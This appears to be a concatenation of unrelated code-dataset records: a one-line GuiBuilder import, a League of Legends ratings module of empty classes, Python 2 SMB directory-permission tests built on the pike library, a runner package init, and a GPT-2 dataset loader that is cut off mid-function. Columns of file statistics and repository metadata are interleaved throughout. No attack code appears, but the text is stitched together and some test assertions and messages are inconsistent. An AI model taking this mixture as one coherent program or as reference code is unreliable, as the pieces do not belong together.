from GuiBuilder.STARTUP.Install.DeleteProjects import DeleteProject
| 55
| 69
| 0.898182
| 28
| 275
| 8.821429
| 0.464286
| 0.226721
| 0.340081
| 0.453441
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058182
| 275
| 4
| 70
| 68.75
| 0.953668
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
25adc54c2c73022f912840424407a526dbe4c6ba
| 6,269
|
py
|
Python
|
loldib/getratings/models/NA/na_fizz/na_fizz_sup.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_fizz/na_fizz_sup.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_fizz/na_fizz_sup.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_Fizz_Sup_Aatrox(Ratings):
pass
class NA_Fizz_Sup_Ahri(Ratings):
pass
class NA_Fizz_Sup_Akali(Ratings):
pass
class NA_Fizz_Sup_Alistar(Ratings):
pass
class NA_Fizz_Sup_Amumu(Ratings):
pass
class NA_Fizz_Sup_Anivia(Ratings):
pass
class NA_Fizz_Sup_Annie(Ratings):
pass
class NA_Fizz_Sup_Ashe(Ratings):
pass
class NA_Fizz_Sup_AurelionSol(Ratings):
pass
class NA_Fizz_Sup_Azir(Ratings):
pass
class NA_Fizz_Sup_Bard(Ratings):
pass
class NA_Fizz_Sup_Blitzcrank(Ratings):
pass
class NA_Fizz_Sup_Brand(Ratings):
pass
class NA_Fizz_Sup_Braum(Ratings):
pass
class NA_Fizz_Sup_Caitlyn(Ratings):
pass
class NA_Fizz_Sup_Camille(Ratings):
pass
class NA_Fizz_Sup_Cassiopeia(Ratings):
pass
class NA_Fizz_Sup_Chogath(Ratings):
pass
class NA_Fizz_Sup_Corki(Ratings):
pass
class NA_Fizz_Sup_Darius(Ratings):
pass
class NA_Fizz_Sup_Diana(Ratings):
pass
class NA_Fizz_Sup_Draven(Ratings):
pass
class NA_Fizz_Sup_DrMundo(Ratings):
pass
class NA_Fizz_Sup_Ekko(Ratings):
pass
class NA_Fizz_Sup_Elise(Ratings):
pass
class NA_Fizz_Sup_Evelynn(Ratings):
pass
class NA_Fizz_Sup_Ezreal(Ratings):
pass
class NA_Fizz_Sup_Fiddlesticks(Ratings):
pass
class NA_Fizz_Sup_Fiora(Ratings):
pass
class NA_Fizz_Sup_Fizz(Ratings):
pass
class NA_Fizz_Sup_Galio(Ratings):
pass
class NA_Fizz_Sup_Gangplank(Ratings):
pass
class NA_Fizz_Sup_Garen(Ratings):
pass
class NA_Fizz_Sup_Gnar(Ratings):
pass
class NA_Fizz_Sup_Gragas(Ratings):
pass
class NA_Fizz_Sup_Graves(Ratings):
pass
class NA_Fizz_Sup_Hecarim(Ratings):
pass
class NA_Fizz_Sup_Heimerdinger(Ratings):
pass
class NA_Fizz_Sup_Illaoi(Ratings):
pass
class NA_Fizz_Sup_Irelia(Ratings):
pass
class NA_Fizz_Sup_Ivern(Ratings):
pass
class NA_Fizz_Sup_Janna(Ratings):
pass
class NA_Fizz_Sup_JarvanIV(Ratings):
pass
class NA_Fizz_Sup_Jax(Ratings):
pass
class NA_Fizz_Sup_Jayce(Ratings):
pass
class NA_Fizz_Sup_Jhin(Ratings):
pass
class NA_Fizz_Sup_Jinx(Ratings):
pass
class NA_Fizz_Sup_Kalista(Ratings):
pass
class NA_Fizz_Sup_Karma(Ratings):
pass
class NA_Fizz_Sup_Karthus(Ratings):
pass
class NA_Fizz_Sup_Kassadin(Ratings):
pass
class NA_Fizz_Sup_Katarina(Ratings):
pass
class NA_Fizz_Sup_Kayle(Ratings):
pass
class NA_Fizz_Sup_Kayn(Ratings):
pass
class NA_Fizz_Sup_Kennen(Ratings):
pass
class NA_Fizz_Sup_Khazix(Ratings):
pass
class NA_Fizz_Sup_Kindred(Ratings):
pass
class NA_Fizz_Sup_Kled(Ratings):
pass
class NA_Fizz_Sup_KogMaw(Ratings):
pass
class NA_Fizz_Sup_Leblanc(Ratings):
pass
class NA_Fizz_Sup_LeeSin(Ratings):
pass
class NA_Fizz_Sup_Leona(Ratings):
pass
class NA_Fizz_Sup_Lissandra(Ratings):
pass
class NA_Fizz_Sup_Lucian(Ratings):
pass
class NA_Fizz_Sup_Lulu(Ratings):
pass
class NA_Fizz_Sup_Lux(Ratings):
pass
class NA_Fizz_Sup_Malphite(Ratings):
pass
class NA_Fizz_Sup_Malzahar(Ratings):
pass
class NA_Fizz_Sup_Maokai(Ratings):
pass
class NA_Fizz_Sup_MasterYi(Ratings):
pass
class NA_Fizz_Sup_MissFortune(Ratings):
pass
class NA_Fizz_Sup_MonkeyKing(Ratings):
pass
class NA_Fizz_Sup_Mordekaiser(Ratings):
pass
class NA_Fizz_Sup_Morgana(Ratings):
pass
class NA_Fizz_Sup_Nami(Ratings):
pass
class NA_Fizz_Sup_Nasus(Ratings):
pass
class NA_Fizz_Sup_Nautilus(Ratings):
pass
class NA_Fizz_Sup_Nidalee(Ratings):
pass
class NA_Fizz_Sup_Nocturne(Ratings):
pass
class NA_Fizz_Sup_Nunu(Ratings):
pass
class NA_Fizz_Sup_Olaf(Ratings):
pass
class NA_Fizz_Sup_Orianna(Ratings):
pass
class NA_Fizz_Sup_Ornn(Ratings):
pass
class NA_Fizz_Sup_Pantheon(Ratings):
pass
class NA_Fizz_Sup_Poppy(Ratings):
pass
class NA_Fizz_Sup_Quinn(Ratings):
pass
class NA_Fizz_Sup_Rakan(Ratings):
pass
class NA_Fizz_Sup_Rammus(Ratings):
pass
class NA_Fizz_Sup_RekSai(Ratings):
pass
class NA_Fizz_Sup_Renekton(Ratings):
pass
class NA_Fizz_Sup_Rengar(Ratings):
pass
class NA_Fizz_Sup_Riven(Ratings):
pass
class NA_Fizz_Sup_Rumble(Ratings):
pass
class NA_Fizz_Sup_Ryze(Ratings):
pass
class NA_Fizz_Sup_Sejuani(Ratings):
pass
class NA_Fizz_Sup_Shaco(Ratings):
pass
class NA_Fizz_Sup_Shen(Ratings):
pass
class NA_Fizz_Sup_Shyvana(Ratings):
pass
class NA_Fizz_Sup_Singed(Ratings):
pass
class NA_Fizz_Sup_Sion(Ratings):
pass
class NA_Fizz_Sup_Sivir(Ratings):
pass
class NA_Fizz_Sup_Skarner(Ratings):
pass
class NA_Fizz_Sup_Sona(Ratings):
pass
class NA_Fizz_Sup_Soraka(Ratings):
pass
class NA_Fizz_Sup_Swain(Ratings):
pass
class NA_Fizz_Sup_Syndra(Ratings):
pass
class NA_Fizz_Sup_TahmKench(Ratings):
pass
class NA_Fizz_Sup_Taliyah(Ratings):
pass
class NA_Fizz_Sup_Talon(Ratings):
pass
class NA_Fizz_Sup_Taric(Ratings):
pass
class NA_Fizz_Sup_Teemo(Ratings):
pass
class NA_Fizz_Sup_Thresh(Ratings):
pass
class NA_Fizz_Sup_Tristana(Ratings):
pass
class NA_Fizz_Sup_Trundle(Ratings):
pass
class NA_Fizz_Sup_Tryndamere(Ratings):
pass
class NA_Fizz_Sup_TwistedFate(Ratings):
pass
class NA_Fizz_Sup_Twitch(Ratings):
pass
class NA_Fizz_Sup_Udyr(Ratings):
pass
class NA_Fizz_Sup_Urgot(Ratings):
pass
class NA_Fizz_Sup_Varus(Ratings):
pass
class NA_Fizz_Sup_Vayne(Ratings):
pass
class NA_Fizz_Sup_Veigar(Ratings):
pass
class NA_Fizz_Sup_Velkoz(Ratings):
pass
class NA_Fizz_Sup_Vi(Ratings):
pass
class NA_Fizz_Sup_Viktor(Ratings):
pass
class NA_Fizz_Sup_Vladimir(Ratings):
pass
class NA_Fizz_Sup_Volibear(Ratings):
pass
class NA_Fizz_Sup_Warwick(Ratings):
pass
class NA_Fizz_Sup_Xayah(Ratings):
pass
class NA_Fizz_Sup_Xerath(Ratings):
pass
class NA_Fizz_Sup_XinZhao(Ratings):
pass
class NA_Fizz_Sup_Yasuo(Ratings):
pass
class NA_Fizz_Sup_Yorick(Ratings):
pass
class NA_Fizz_Sup_Zac(Ratings):
pass
class NA_Fizz_Sup_Zed(Ratings):
pass
class NA_Fizz_Sup_Ziggs(Ratings):
pass
class NA_Fizz_Sup_Zilean(Ratings):
pass
class NA_Fizz_Sup_Zyra(Ratings):
pass
| 15.033573
| 46
| 0.75642
| 972
| 6,269
| 4.452675
| 0.151235
| 0.223198
| 0.350739
| 0.446396
| 0.791359
| 0.791359
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177221
| 6,269
| 416
| 47
| 15.069712
| 0.839085
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
25b65af0ea0f031ca02890a004a362312849c118
| 19,540
|
py
|
Python
|
test/create_open_dir_additional.py
|
abhilashabhardwaj/pike
|
a1ad05b37231d8ac0a0442ab8d32a363e75ada9a
|
[
"Apache-2.0"
] | null | null | null |
test/create_open_dir_additional.py
|
abhilashabhardwaj/pike
|
a1ad05b37231d8ac0a0442ab8d32a363e75ada9a
|
[
"Apache-2.0"
] | null | null | null |
test/create_open_dir_additional.py
|
abhilashabhardwaj/pike
|
a1ad05b37231d8ac0a0442ab8d32a363e75ada9a
|
[
"Apache-2.0"
] | null | null | null |
#
# Copyright (C) EMC Corporation. All rights reserved.
#
# Module Name:
#
# create_dir_open_additional.py
#
# Abstract:
#
# Directory open tests: Directories which are created on the share have to be deleted before test execution otherwise
# it will result in STATUS_OBJECT_NAME_COLLISION.
#
# Authors: Prayas Gupta (prayas.gupta@calsoftinc.com)
#
from pike.smb2 import *
import pike.test
import utils
import unittest
import pike.model
class directory_open(pike.test.PikeTest):
def test_01_open_directory_with_file_list_directory(self):
try:
print "\n--------------------Open_Directory_TC 01 --------------------"
print "Test case to list the contents of the directory with FILE_LIST_DIRECTORY permission.\n"
expected_status = "STATUS_SUCCESS"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Open a directory named Directory_open1 with FILE_LIST_DIRECTORY permission:"
directory_handle =chan.create(tree,"Directory_open1",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_ADD_FILE,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create a normal file inside Directory_open1 with the name Child_file:"
file_handle = chan.create(tree,"Directory_open1\Child_file",access = pike.smb2.FILE_READ_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Directory_open1 directory."
print "Close the file handle:"
chan.close(file_handle)
print "Child_file handle closed."
print "Verify whether Child_file is present inside the Directory_open1 directory:"
names = map(lambda res: res.file_name,chan.query_directory(directory_handle))
self.assertIn("Child_file", names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open1 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 01 Passed"
def test_02_open_directory_without_file_list_directory(self):
try:
print "\n--------------------Open_Directory_TC 02 --------------------"
print "Test case to list the contents of the directory without FILE_LIST_DIRECTORY permission.\n"
expected_status = "STATUS_ACCESS_DENIED"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Open a directory named Directory_open2 without FILE_LIST_DIRECTORY permission:"
directory_handle =chan.create(tree,"Directory_open2",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create a normal file inside Directory_open2 with the name Child_file:"
file_handle = chan.create(tree,"Directory_open2\Child_file",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Directory_open2 directory."
print "Close the file handle:"
chan.close(file_handle)
print "Child_file handle closed."
print "Verify whether Child_file is present inside the Directory_open2 directory:"
names = map(lambda res: res.file_name,chan.query_directory(directory_handle))
self.assertIn("Child_file", names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open2 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 02 Passed"
def test_03_open_Child_directory_without_file_list_directory(self):
try:
print "\n--------------------Open_Directory_TC 03 --------------------"
print "Test case to list the contents of the child directory without FILE_LIST_DIRECTORY permission\n."
expected_status = "STATUS_ACCESS_DENIED"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Create a directory named Directory_open3 with FILE_LIST_DIRECTORY permission:"
directory_handle = chan.create(tree,"Directory_open3",access = pike.smb2.FILE_LIST_DIRECTORY,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create child directory inside Directory_open3, named Child_directory without FILE_LIST_DIRECTORY permission:"
child_handle = chan.create(tree,"Directory_open3\Child_directory",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Child_Directory created inside Directory_open3 directory."
print "Create a normal file inside Directory_open3\Child_directory named Child_file:"
file_handle = chan.create(tree,"Directory_open3\Child_directory\Child_file",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Child_directory."
print "Close the file handle of Child_file:"
chan.close(file_handle)
print "Child_file handle closed."
print "Verify whether listing the contents of Child_directory:"
names = map(lambda res: res.file_name,chan.query_directory(child_handle))
self.assertIn("Child_directory", names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the child directory handle:"
chan.close(child_handle)
print "Child_directory handle closed."
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open3 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 03 Passed"
def test_04_open_directory_with_file_add_file(self):
try:
print "\n--------------------Open_Directory_TC 04 --------------------"
print "Test case to open a directory with FILE_ADD_FILE in desired access, create a file and list the contents of directory\n."
expected_status = "STATUS_SUCCESS"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Open a directory named Directory_open4 with FILE_ADD_FILE permission:"
directory_handle =chan.create(tree,"Directory_open4",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_ADD_FILE,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create a normal file inside Directory_open4 named Child_file:"
file_handle = chan.create(tree,"Directory_open4\Child_file",access = pike.smb2.FILE_READ_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Directory_open4 directory."
print "Close the file handle:"
chan.close(file_handle)
print "Child_file handle closed."
print "Verify whether Child_file is present inside the Directory_open4 directory:"
names = map(lambda res: res.file_name,chan.query_directory(directory_handle))
self.assertIn("Child_file", names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open4 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 04 Passed"
def test_05_open_directory_without_file_add_file(self):
try:
print "\n--------------------Open_Directory_TC 05 --------------------"
print "Test case to open a directory without FILE_ADD_FILE in desired access, create a file and list the contents of directory\n."
expected_status = "STATUS_SUCCESS"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Open a directory named Directory_open5 without FILE_ADD_FILE permission:"
directory_handle =chan.create(tree,"Directory_open5",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create a normal file inside Directory_open5 named Child_file:"
file_handle = chan.create(tree,"Directory_open5\Child_file",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Directory_open6 directory."
print "Close the file handle:"
chan.close(file_handle)
print "Child_file handle closed."
print "Verify whether Child_file is present inside the Directory_open5 directory:"
names = map(lambda res: res.file_name,chan.query_directory(directory_handle))
self.assertIn("Child_file", names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open5 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 05 Passed"
def test_06_open_directory_without_read_attributes(self):
try:
print "\n--------------------Open_Directory_TC 06 --------------------"
print "Test case to open a directory to read the attributes without FILE_READ_ATTRIBUTES permission."
expected_status = "STATUS_ACCESS_DENIED"
print "Expected status for this test: ",expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Create a directory named Directory_open6 with FILE_WRITE_ATTRIBUTES permission:"
directory_handle =chan.create(tree,"Directory_open6",access = pike.smb2.FILE_WRITE_ATTRIBUTES,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Reading attributes on the directory:"
info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION)
print "Reading attributes of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open6 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 06 Passed"
def test_07_open_directory_without_write_attributes(self):
try:
print "\n--------------------Open_Directory_TC 07 --------------------"
print "Test case to open a directory to write the attributes that does not have FILE_WRITE_ATTRIBUTES permission set."
expected_status = "STATUS_ACCESS_DENIED"
print "Expected status for this test: ",expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Create a directory named Directory_open7 without FILE_WRITE_ATTRIBUTES permission:"
directory_handle =chan.create(tree,"Directory_open7",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Reading attributes on the directory before changing them:"
info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION)
print "Reading attributes of the directory completed"
attribute_before = info.basic_information.file_attributes
print "Directory FILE_ATTRIBUTE before changing : ",attribute_before
print "Change the attributes of the directory:"
with chan.set_file_info(directory_handle, pike.smb2.FileBasicInformation) as directory_info:
directory_info.file_attributes = pike.smb2.FILE_ATTRIBUTE_READONLY
print "Changing attributes of the directory completed."
print "Query attributes on the directory after changing them:"
info1 = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION)
print "Querying attributes of the directory completed"
attribute_after = info1.basic_information.file_attributes
print "Directory FILE_ATTRIBUTE after changing : ",attribute_after
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open7 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 07 Passed"
def test_08_open_directory_with_GENERIC_ALL(self):
try:
print "\n--------------------Open_Directory_TC 08 --------------------"
print "Test case to open a directory with GENERIC_ALL permission and try related operations."
expected_status = "STATUS_SUCCESS"
print "Expected status: ", expected_status
print "Creating session and tree connect..."
chan, tree = self.tree_connect()
print "Session setup and Tree connect is successful."
print "Create a directory named Directory_open8 with GENERIC_ALL permission:"
directory_handle =chan.create(tree,"Directory_open8",access = pike.smb2.GENERIC_ALL,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created."
print "Create a file inside Directory_open10 directory:"
file_handle = chan.create(tree,"Directory_open8\Child_file1",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE,share=pike.smb2.FILE_SHARE_DELETE ).result()
print "File created inside Directory_open8 directory."
print "Close the file handle:"
chan.close(file_handle)
print "Child_file1 file handle closed."
print "Verifying FILE_ADD_FILE on Directory_open8 directory:"
file_add_file =chan.create(tree,"Directory_open8\Child_file2",access = pike.smb2.GENERIC_READ,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result()
print "File created inside Directory_open8 directory."
print "Close the Child_file2 file handle:"
chan.close(file_add_file)
print "Child_file2 file handle closed."
print "Verifying FILE_ADD_SUBDIRECTORY on Directory_open8 directory:"
file_add_subdirectory = chan.create(tree,"Directory_open8\Child_directory",access = pike.smb2.GENERIC_READ,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_DIRECTORY_FILE ).result()
print "Directory created inside Directory_open8 directory."
print "Close the Child_directory handle:"
chan.close(file_add_subdirectory)
print "Child_Directory handle closed."
print "Query attributes on the directory before changing them:"
info = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION)
print "Querying attributes of the directory completed"
attribute_before = info.basic_information.file_attributes
print "Directory FILE_ATTRIBUTE before changing : ",attribute_before
print "Change the attributes of the directory:"
with chan.set_file_info(directory_handle, pike.smb2.FileBasicInformation) as file_info:
file_info.file_attributes = pike.smb2.FILE_ATTRIBUTE_READONLY
print "Changing attributes of the directory completed."
print "Query attributes on the directory after changing them:"
info1 = chan.query_file_info(directory_handle,pike.smb2.FILE_ALL_INFORMATION)
print "Querying attributes of the directory completed."
attribute_after = info1.basic_information.file_attributes
print "Directory FILE_ATTRIBUTE after changing : ",attribute_after
print 'List the contents of the directory Directory_open8: '
names = map(lambda res: res.file_name,chan.query_directory(directory_handle))
self.assertIn('Child_file1', names)
print "Listing the contents of the directory completed"
actual_status = "STATUS_SUCCESS"
print "Close the directory handle:"
chan.close(directory_handle)
print "Directory_open8 handle closed."
except Exception as e:
actual_status = str(e)
print "Actual status: ",actual_status
self.assertIn(expected_status,actual_status)
print "TC 08 Passed"
| 63.236246
| 231
| 0.664432
| 2,297
| 19,540
| 5.42795
| 0.069656
| 0.041707
| 0.056785
| 0.03136
| 0.888434
| 0.878409
| 0.846246
| 0.824671
| 0.796519
| 0.775746
| 0
| 0.012243
| 0.25174
| 19,540
| 308
| 232
| 63.441558
| 0.840503
| 0.017503
| 0
| 0.59364
| 0
| 0.007067
| 0.384709
| 0.036505
| 0
| 0
| 0
| 0
| 0.04947
| 0
| null | null | 0.028269
| 0.017668
| null | null | 0.54417
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
25d1d68f7db66a7e83040629943665ea56ba9035
| 181
|
py
|
Python
|
08.forecaster_r0/runner/__init__.py
|
predora005/wheather-forecasting
|
deb3592ac52751ccaf81d7aa8bbb00a14d232f9f
|
[
"MIT"
] | null | null | null |
08.forecaster_r0/runner/__init__.py
|
predora005/wheather-forecasting
|
deb3592ac52751ccaf81d7aa8bbb00a14d232f9f
|
[
"MIT"
] | null | null | null |
08.forecaster_r0/runner/__init__.py
|
predora005/wheather-forecasting
|
deb3592ac52751ccaf81d7aa8bbb00a14d232f9f
|
[
"MIT"
] | null | null | null |
from runner.gsm_runner_ver1 import *
from runner.gsm_runner_ver2 import *
from runner.gsm_runner_ver3 import *
from runner.runner_2019 import *
from runner.wst_runner_ver1 import *
| 30.166667
| 36
| 0.834254
| 29
| 181
| 4.896552
| 0.310345
| 0.352113
| 0.450704
| 0.401408
| 0.352113
| 0
| 0
| 0
| 0
| 0
| 0
| 0.049689
| 0.110497
| 181
| 5
| 37
| 36.2
| 0.832298
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
25d70d5bd772158cec39f05ede3028be0f8bda2a
| 19,570
|
py
|
Python
|
simpleredial/dataloader/gpt2_dataloader.py
|
gmftbyGMFTBY/SimpleReDial-v1
|
f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde
|
[
"MIT"
] | 36
|
2021-10-13T10:32:08.000Z
|
2022-03-20T07:50:05.000Z
|
simpleredial/dataloader/gpt2_dataloader.py
|
gmftbyGMFTBY/SimpleReDial-v1
|
f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde
|
[
"MIT"
] | 3
|
2021-11-24T10:57:59.000Z
|
2022-03-27T15:37:40.000Z
|
simpleredial/dataloader/gpt2_dataloader.py
|
gmftbyGMFTBY/SimpleReDial-v1
|
f45b8eb23d1499ec617b4cc4f417d83d8f2b6bde
|
[
"MIT"
] | 1
|
2022-03-15T07:13:22.000Z
|
2022-03-15T07:13:22.000Z
|
from header import *
from .utils import *
from .util_func import *
class GPT2Dataset(Dataset):
def __init__(self, vocab, path, **args):
self.args = args
self.vocab = vocab
self.pad = self.vocab.convert_tokens_to_ids('[PAD]')
self.sep = self.vocab.convert_tokens_to_ids('[SEP]')
self.cls = self.vocab.convert_tokens_to_ids('[CLS]')
self.unk = self.vocab.convert_tokens_to_ids('[UNK]')
if self.args['mode'] == 'test':
# for test batch generation
print(f'[!] set the padding side as the left')
self.vocab.padding_side = 'left'
suffix = args['tokenizer'].replace('/', '_')
self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_{suffix}.pt'
if os.path.exists(self.pp_path):
self.data = torch.load(self.pp_path)
print(f'[!] load preprocessed file from {self.pp_path}')
return None
random.seed(args['seed'])
self.data = []
if self.args['mode'] == 'train':
data = read_text_data_line_by_line(path)
self.data = []
for text in tqdm(data):
item = self.vocab.encode(text, add_special_tokens=False)
for idx in range(0, len(item), self.args['max_len']-2):
ids = item[idx:idx+self.args['max_len']-2]
if len(ids) < self.args['min_len']:
continue
ids = [self.cls] + ids + [self.sep]
self.data.append({'ids': ids})
else:
path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt'
data = torch.load(path)
# random sample 100 samples
data = random.sample(data, 10)
self.data = []
for item in tqdm(data):
context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses']
for neg in neg_responses:
# prefix
item = self.vocab.encode(context, add_special_tokens=False)
ids = [self.cls] + item[-(self.args['max_len']-1):]
item = self.vocab.encode(context+pos, add_special_tokens=False)
pos_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep]
item = self.vocab.encode(context+neg, add_special_tokens=False)
neg_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep]
self.data.append({
'ids': ids,
'pos_ids': pos_ids,
'pos_text': context+pos,
'neg_ids': neg_ids,
'neg_text': context+neg,
'text': context,
})
def __len__(self):
return len(self.data)
def __getitem__(self, i):
bundle = self.data[i]
if self.args['mode'] == 'train':
ids = torch.LongTensor(bundle['ids'])
return ids
else:
ids = torch.LongTensor(bundle['ids'])
pos_ids = torch.LongTensor(bundle['pos_ids'])
neg_ids = torch.LongTensor(bundle['neg_ids'])
return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text']
def save(self):
data = torch.save(self.data, self.pp_path)
print(f'[!] save preprocessed dataset into {self.pp_path}')
def collate(self, batch):
if self.args['mode'] == 'train':
ids = pad_sequence(batch, batch_first=True, padding_value=self.pad)
mask = generate_mask(ids)
ids, mask = to_cuda(ids, mask)
return {
'ids': ids,
'mask': mask,
}
else:
ids = [i[0] for i in batch]
pos_ids = [i[1] for i in batch]
neg_ids = [i[2] for i in batch]
pos_text = [i[3] for i in batch]
neg_text = [i[4] for i in batch]
text = [i[5] for i in batch]
# pad from the left side, batch first
max_length = max([len(i) for i in ids])
n_ids = []
for i in ids:
